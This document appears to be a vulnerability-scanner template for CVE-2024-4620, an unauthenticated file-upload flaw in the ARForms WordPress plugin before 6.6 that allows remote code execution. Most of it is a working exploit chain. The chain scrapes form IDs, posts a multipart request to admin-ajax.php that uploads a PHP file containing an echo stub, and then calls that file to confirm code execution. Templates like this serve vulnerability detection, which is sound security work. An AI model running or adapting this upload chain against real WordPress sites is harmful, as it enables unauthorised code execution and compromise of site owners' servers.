漏洞描述
The ARForms - Premium WordPress Form Builder Plugin WordPress plugin before 6.6 allows unauthenticated users to modify uploaded files in such a way that PHP code can be uploaded when an upload file input is included on a form
id: CVE-2024-4620
info:
name: ArForms < 6.6 - Remote Code Execution
author: iamnoooob,pdresearch
severity: critical
description: |
The ARForms - Premium WordPress Form Builder Plugin WordPress plugin before 6.6 allows unauthenticated users to modify uploaded files in such a way that PHP code can be uploaded when an upload file input is included on a form
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4620
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-4620
epss-score: 0.65894
epss-percentile: 0.98465
cpe: cpe:2.3:a:reputeinfosystems:arforms:*:*:*:*:*:wordpress:*:*
metadata:
vendor: reputeinfosystems
product: arforms
framework: wordpress
verified: true
max-request: 3
tags: cve,cve2024,wordpress,wp,wp-plugin,arforms,intrusive,vkev
flow: http(1) && http(2) && http(3)
variables:
path: "{{path}}" # page hosting Arform file upload form
filename: "{{randbase(8)}}"
marker: "{{randstr}}"
http:
- raw:
- |
GET /{{path}} HTTP/1.1
Host: {{Hostname}}
redirects: true
extractors:
- type: xpath
name: field_id
attribute: id
internal: true
xpath:
- '//div[@class=" arfajax-file-upload"]'
- type: xpath
name: form_id
attribute: value
internal: true
xpath:
- '//input[@data-id="form_id"]'
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7y508xYQXqEUtnyQ
X-FILENAME: {{filename}}.php
------WebKitFormBoundary7y508xYQXqEUtnyQ
Content-Disposition: form-data; name="action"
arf_send_form_data
------WebKitFormBoundary7y508xYQXqEUtnyQ
Content-Disposition: form-data; name="frm"
{{form_id}}
------WebKitFormBoundary7y508xYQXqEUtnyQ
Content-Disposition: form-data; name="field_id"
{{replace(field_id,'div_','')}}
------WebKitFormBoundary7y508xYQXqEUtnyQ
Content-Disposition: form-data; name="file_type"
text/html
------WebKitFormBoundary7y508xYQXqEUtnyQ
Content-Disposition: form-data; name="types_arr"
htm|html, jpg|jpeg|php
------WebKitFormBoundary7y508xYQXqEUtnyQ
Content-Disposition: form-data; name="is_preview"
------WebKitFormBoundary7y508xYQXqEUtnyQ
Content-Disposition: form-data; name="files"; filename="tinyjpeg.html"
Content-Type: text/html
<?phP echo base64_decode($_GET['input']); ?>
------WebKitFormBoundary7y508xYQXqEUtnyQ--
matchers:
- type: dsl
dsl:
- 'contains(body, "|{{filename}}.php|")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /wp-content/uploads/arforms/userfiles/{{filename}}.php?input={{base64(marker)}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains((body), "{{marker}}")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100c25817c57f87f6d8861aa81096a94d4cd3fbb4c032435f62d884d35c98ff2f890220029f91346c6698b18d5fa444583e1e64bb62451d90da281f2817a1140e11e291:922c64590222798bb761d5b6d8e72950